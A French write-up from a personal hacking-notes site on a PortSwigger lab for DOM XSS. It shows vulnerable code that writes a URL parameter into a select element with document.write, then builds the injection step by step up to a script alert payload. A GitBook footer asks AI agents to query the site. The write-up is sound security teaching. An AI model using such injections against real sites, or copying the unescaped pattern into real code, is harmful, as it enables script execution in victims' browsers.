> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/xss-dom-with-document-write-inside-a-select.md).

# XSS DOM avec document.write à l’intérieur d’un select

Notes sur le XSS DOM avec document.write à l’intérieur d’un select pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### XSS DOM dans la cible document.write en utilisant la source location.search à l'intérieur d'un élément select

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3777adc47a80abf327900341d53fd590c9c2b953%2F%7B0535C86B-0FED-496A-9F37-4E188329FB70%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le code suivant génère dynamiquement un `<select>` menu déroulant avec différentes villes, et sélectionne celui transmis dans le **storeId** paramètre dans l'URL :

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Exemple avec paramètre :

```
product?productId=2&storeId=Jordan
```

* Cela ajoute une nouvelle option à la liste déroulante.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c05cce710a5ca9e2f28c556674fe7a7ebc58e27%2F%7BD5002999-18C6-433A-A692-EF6E936624DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

En fermant manuellement le `<option>` balise :

```javascript
</option>Jordan
```

`<select>` peut aussi être fermé :

```javascript
</option></select>Jordan
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634daeab26425b1aefdca18fd2c9771dbbe8d4e0%2F%7B57F4476D-25D5-4A6C-8B7B-A94EE35BD0A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Injection finale pour exécuter JavaScript :

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee68b44c9ad59be2eae94337eabb14fdfd721dde%2F%7B02BAA283-C850-4AD3-BD5F-19C45D8B98F3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/xss-dom-with-document-write-inside-a-select.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
